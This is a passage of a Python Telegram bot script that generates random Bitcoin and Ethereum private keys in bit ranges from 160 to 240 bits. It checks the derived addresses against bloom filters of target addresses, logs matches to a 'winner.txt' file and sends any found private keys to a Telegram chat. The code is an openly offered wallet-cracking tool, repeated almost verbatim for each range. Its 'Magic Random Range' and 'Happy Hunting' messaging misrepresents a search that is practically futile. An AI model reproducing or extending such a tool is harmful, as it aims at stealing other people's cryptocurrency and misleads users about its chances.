str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 160-170 Bits Random Range")) num += 1 if message.text=="170-180 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 170-180 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------170-180 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**170 stopscan=2**180 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 170-180 Bits Random Range")) num += 1 if message.text=="180-190 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 180-190 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------180-190 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**180 stopscan=2**190 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 180-190 Bits Random Range")) num += 1 if message.text=="190-200 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 190-200 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------190-200 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**190 stopscan=2**200 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 190-200 Bits Random Range")) num += 1 if message.text=="200-210 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 200-210 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------200-210 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**200 stopscan=2**210 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 200-210 Bits Random Range")) num += 1 if message.text=="210-220 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 210-220 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------210-220 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**210 stopscan=2**220 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 210-220 Bits Random Range")) num += 1 if message.text=="220-230 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 220-230 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------220-230 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**220 stopscan=2**230 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 220-230 Bits Random Range")) num += 1 if message.text=="230-240 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 230-240 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------230-240 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = 